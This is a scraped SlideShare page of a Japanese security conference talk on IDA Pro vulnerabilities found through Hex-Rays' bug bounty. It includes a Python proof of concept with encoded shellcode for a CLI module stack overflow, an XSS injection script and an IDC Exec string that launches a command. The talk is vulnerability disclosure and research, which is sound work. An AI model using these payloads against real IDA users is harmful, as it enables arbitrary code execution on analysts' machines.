Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
IDAの脆弱性とBug Bounty	
 
千田雅明
プロフィール	
 
!  セキュリティエンジニア
!  リバースエンジニアリングが趣味
!  sutegoma2として様々なCTFに参加
IDAとは?	
 
!  高機能逆アセンブラ
!  マルウェアなどを静的解析する際に利用するソフトウェア
!  Hex-raysのBug Bounty Program
!  3000 USDの報奨金
!  IDAとHex-rays Decomp...
調査方法	
 
!  IDAで解析
!  IDA Main Program (for windows)
!  Loader Modules
!  Processor Modules
!  Plugins
!  SDK付属のプラグインのソースを読...
データの入出力関数の調査
!  Data Read & Copy
!  read, lread, eread, qread, qlread, qfread,
!  memcpy, strcpy, strncpy, qstrncpy, …
!  ...
スクリプトやコマンド実行関数の調査	
 
!  IDC Script
!  CompileEx, CompileLineEx
!  str2ea, calcexpr, calcexpr_long, calc_idc_expr,
!  Eval,...
発見したIDAの脆弱性一覧	
 
!  Heap Overflow => 多数
!  Stack Overflow => 2個
!  DLL, Script Preloading => 多数
!  Path Traversal => 数個
! ...
Integer Overflowの脆弱性	
 
!  問題点
!  ほぼ全てのモジュールが対象
!  Integer Overflowの対策が皆無
!  qcallocなどの関数内でも対策がない
多くのモジュールでBuffer Overflow...
整数符号エラーの脆弱性	
 
!  問題点
!  AIF Loader Moduleが対象
!  セクション名を解析時にStack Buffer Overflowが起こる
Stack Buffer Overflowにより、悪意のあるコードを実行...
Classic Buffer Overflowの脆弱性	
 
!  問題点
!  CLI Processor Moduleが対象
!  バイナリをHexの文字列に変換する処理にStack Buffer
Overflow
!  [TODO]
Classic Buffer Overflowの脆弱性	
 
!  特殊なコードの書き込みが必要
!  /GSでコンパイル済み
!  スタックへ書き込む際にhexに変換される
!  sprintf(“%02X”, buf[i])
!  [TOD...
Classic Buffer Overflowの脆弱性	
 
from idaapi import *
from struct import *
a = 0x5874768A-0x24
b = 0x5874764A-0x14
shellcode...
Path Traversalの脆弱性	
 
!  問題点
!  tilファイル内に含まれるファイル名をそのまま結合していた
[TODO]
HTML Injectionの脆弱性	
 
!  問題点
!  解析結果をHTMLで保存した際にHTML Injection可能
!  get_root_filename関数で得られる実行ファイル名をエスケー
プしていなかった
作成されたHTM...
Preloadingの脆弱性	
 
!  問題点
!  読み込んだIDBファイルと同じディレクトリから、DLL, IDC
Script, Python Scriptをロードしてしまう
!  ida.idc, userload.idc
!  wi...
IDC Scirpt自動実行の脆弱性	
 
!  問題点
!  str2ea関数内で暗黙的にIDC Scriptを実行
!  str2ea関数は各種イベント時に利用されている
!  デバッガの実行時
!  Hintの表示時
IDBファイルをロー...
str2eaを利用した攻撃	
 
!  IDAのHint表示の動作
!  1. カーソル下の行の文字列を得る
!  2. extract_nameに渡す
!  3. str2ea関数に渡す
!  extract_name関数
!  ida.cf...
Debugger自動実行の脆弱性	
 
!  問題点
!  デバッガを自動起動
!  メモリダンプから作ったIDBファイルをロード時
!  デバッガイベントを自動評価
!  各種Event Condition
!  Watch PointVie...
Demonstration
まとめ	
 
!  見つけやすい脆弱性が多数残っていた
IDAの脆弱性とBug Bounty by 千田 雅明
Upcoming SlideShare
Loading in …5
×

IDAの脆弱性とBug Bounty by 千田 雅明

2,627 views

Published on

IDA Proとは、高機能な逆アセンブラソフトウェアで、主に脆弱性調査やマルウェアの解析・分析に利用されている。 IDA Proはソフトウェアの詳細な動作を解析するためにものであり、もし脆弱性により利用者が攻撃された場合には、 裁判の結果に影響を及ぼすなどの社会的に大きな影響を及ぼすこともあるとも考えられる。 本講演では、見つかった脆弱性の解説、脆弱性を利用する攻撃のデモ、そしてHex-rays社側の対策内容やHex-rays社とのやり取りについて解説する。

http://codeblue.jp/speaker.html#MasaakiChida

Published in: Technology
  • Be the first to comment

IDAの脆弱性とBug Bounty by 千田 雅明

  1. 1. IDAの脆弱性とBug Bounty 千田雅明
  2. 2. プロフィール !  セキュリティエンジニア !  リバースエンジニアリングが趣味 !  sutegoma2として様々なCTFに参加
  3. 3. IDAとは? !  高機能逆アセンブラ !  マルウェアなどを静的解析する際に利用するソフトウェア !  Hex-raysのBug Bounty Program !  3000 USDの報奨金 !  IDAとHex-rays Decompilerのリモート攻撃が対象 !  2011年2月頃から開始 !  2014年1月までに11回支払われている https://www.hex-rays.com/bugbounty.shtml
  4. 4. 調査方法 !  IDAで解析 !  IDA Main Program (for windows) !  Loader Modules !  Processor Modules !  Plugins !  SDK付属のプラグインのソースを読む !  実行プロセスの動作を監視 !  Sysinternals Tools: Procmon
  5. 5. データの入出力関数の調査 !  Data Read & Copy !  read, lread, eread, qread, qlread, qfread, !  memcpy, strcpy, strncpy, qstrncpy, … !  IDB Database !  get_long, get_byte, ger_many_bytes, !  netnode_getblob, netnode_altval, netnode_supval, !  unpack_dd, unpack_ds, unpack_dw, … !  Heap Allocation !  malloc, calloc, realloc !  qalloc, qcalloc, qrelloc !  qvecto_reserve
  6. 6. スクリプトやコマンド実行関数の調査 !  IDC Script !  CompileEx, CompileLineEx !  str2ea, calcexpr, calcexpr_long, calc_idc_expr, !  Eval, ExecIDC, Execute File, Execute Line,… !  コマンド実行 !  call_system !  system, CrateProcess,…
  7. 7. 発見したIDAの脆弱性一覧 !  Heap Overflow => 多数 !  Stack Overflow => 2個 !  DLL, Script Preloading => 多数 !  Path Traversal => 数個 !  IDCスクリプトの自動実行 !  デバッガーの自動実行 !  ※賞金を得ていないものを含む
  8. 8. Integer Overflowの脆弱性 !  問題点 !  ほぼ全てのモジュールが対象 !  Integer Overflowの対策が皆無 !  qcallocなどの関数内でも対策がない 多くのモジュールでBuffer Overflowにより、悪意のある コードを実行されてしまう可能性があった void *__cdecl qcalloc(size_t nitems, size_t itemsize) { void *result; // eax@2 void *v3; // ebx@3 if ( (signed int)(itemsize * nitems) > 0 ) { v3 = calloc(itemsize * nitems, 1u);
  9. 9. 整数符号エラーの脆弱性 !  問題点 !  AIF Loader Moduleが対象 !  セクション名を解析時にStack Buffer Overflowが起こる Stack Buffer Overflowにより、悪意のあるコードを実行さ れてしまう可能性があった
  10. 10. Classic Buffer Overflowの脆弱性 !  問題点 !  CLI Processor Moduleが対象 !  バイナリをHexの文字列に変換する処理にStack Buffer Overflow !  [TODO]
  11. 11. Classic Buffer Overflowの脆弱性 !  特殊なコードの書き込みが必要 !  /GSでコンパイル済み !  スタックへ書き込む際にhexに変換される !  sprintf(“%02X”, buf[i]) !  [TODO]
  12. 12. Classic Buffer Overflowの脆弱性 from idaapi import * from struct import * a = 0x5874768A-0x24 b = 0x5874764A-0x14 shellcode="htIIGX5tIIGHWPPPSRPPafhExfXf5YrfPDfhS3DTY09fhpzfXf5rRfP DTY01fRDfhpQDTY09fh3NfXf50rfPfharfXf5dsfPDTY09hBzPKX5ceLJPDfhptDfh 9tDTY01fh6OfXf5jAfPDTY09hinEufhKWDfhkdfXf5WcfPfhnLfXf5g2fPDTY09fhg RDTY01fhQBfhdtfXf5QXfPDfhlHDTY09fhaefXf57jfPDfh5PfXf5lVfPDTY09h7Yq oX5RFUnPDfhjLDfhttDTY09fh8wfXf5PvfPDTY09h3YIXX54FiYPDfhatDfhgtDTY0 1fh7xDfh8pfXf5dofPfhitDTY09fhlzfXf53FfPfhYtDTY09fhGSfXf59KfPfhWtDT Y01fhG0DfhRtTYf19fh3ZfXf55VfPDfhnvDfh5tDTY01fh6tfXf5FxfPDfhRvDfhJt DTY09fhr0fhCtDTY01hJRVdDfhlKfXf5MRfPDTY09fhUvDTY09fhmwDfhB4fXf5xhf PhdohchshinfhUifXf5C5fPDhehwshhystfhYjfXf5I6fPDhhm32hcalchexehfhTH fXf54ffPDfhRhfhKifXf5YDfPDTY09fhU1DRVWRTFfVNfhjsfXf5ErfPVUafhrWfYf 1Lo9f1To9TXLLLrH" payload="" payload+=("1"*8)+(pack("II",a,b)*(9334/8-1))+("x55"*6) payload+=shellcode payload+=("1"*((len(shellcode)&4)+10-(len(shellcode)%4)))+ (pack("II",a,b)*(16000/8)) node_id=netnode("$ cli").altval(0x0C000014,'o')
  13. 13. Path Traversalの脆弱性 !  問題点 !  tilファイル内に含まれるファイル名をそのまま結合していた [TODO]
  14. 14. HTML Injectionの脆弱性 !  問題点 !  解析結果をHTMLで保存した際にHTML Injection可能 !  get_root_filename関数で得られる実行ファイル名をエスケー プしていなかった 作成されたHTMLファイルを開いた場合に、XSSの可能性 があった from idaapi import * netnode("RootNode").set("</title><scritp>alert('XSS');</script>") save_database() fp = ecreateT("report.html") gen_file(OFILE_LST, fp, 0, 0, GENFLG_GENHTML) eclose(fp)
  15. 15. Preloadingの脆弱性 !  問題点 !  読み込んだIDBファイルと同じディレクトリから、DLL, IDC Script, Python Scriptをロードしてしまう !  ida.idc, userload.idc !  windbg.exe, dbghelp.dll, dbgeng.dll, … !  idautils.py, idc.py, idaapi.py, … 意図していないファイルを読み込んでしまい、悪意のある コードが実行される可能性があった
  16. 16. IDC Scirpt自動実行の脆弱性 !  問題点 !  str2ea関数内で暗黙的にIDC Scriptを実行 !  str2ea関数は各種イベント時に利用されている !  デバッガの実行時 !  Hintの表示時 IDBファイルをロード時に悪意のあるIDC Scriptを実行される可能性があった str2ea calcexpr_lon g calc_idc_expr CompileLine Ex Run
  17. 17. str2eaを利用した攻撃 !  IDAのHint表示の動作 !  1. カーソル下の行の文字列を得る !  2. extract_nameに渡す !  3. str2ea関数に渡す !  extract_name関数 !  ida.cfg内のNameCharsに一致する文字列を返す !  NameChars !  .net Processor Moduleの場合に”()”などの制御文字が入る 関数呼び出しを成立させる文字列がstr2ea関数に渡る str2ea(“Exec(char(0x63)+char(0x61)+char(0x6C)+char0x63)”)
  18. 18. Debugger自動実行の脆弱性 !  問題点 !  デバッガを自動起動 !  メモリダンプから作ったIDBファイルをロード時 !  デバッガイベントを自動評価 !  各種Event Condition !  Watch PointView IDBファイルをロード時に悪意のあるIDC Scriptが実行さ れる可能性があった
  19. 19. Demonstration
  20. 20. まとめ !  見つけやすい脆弱性が多数残っていた

×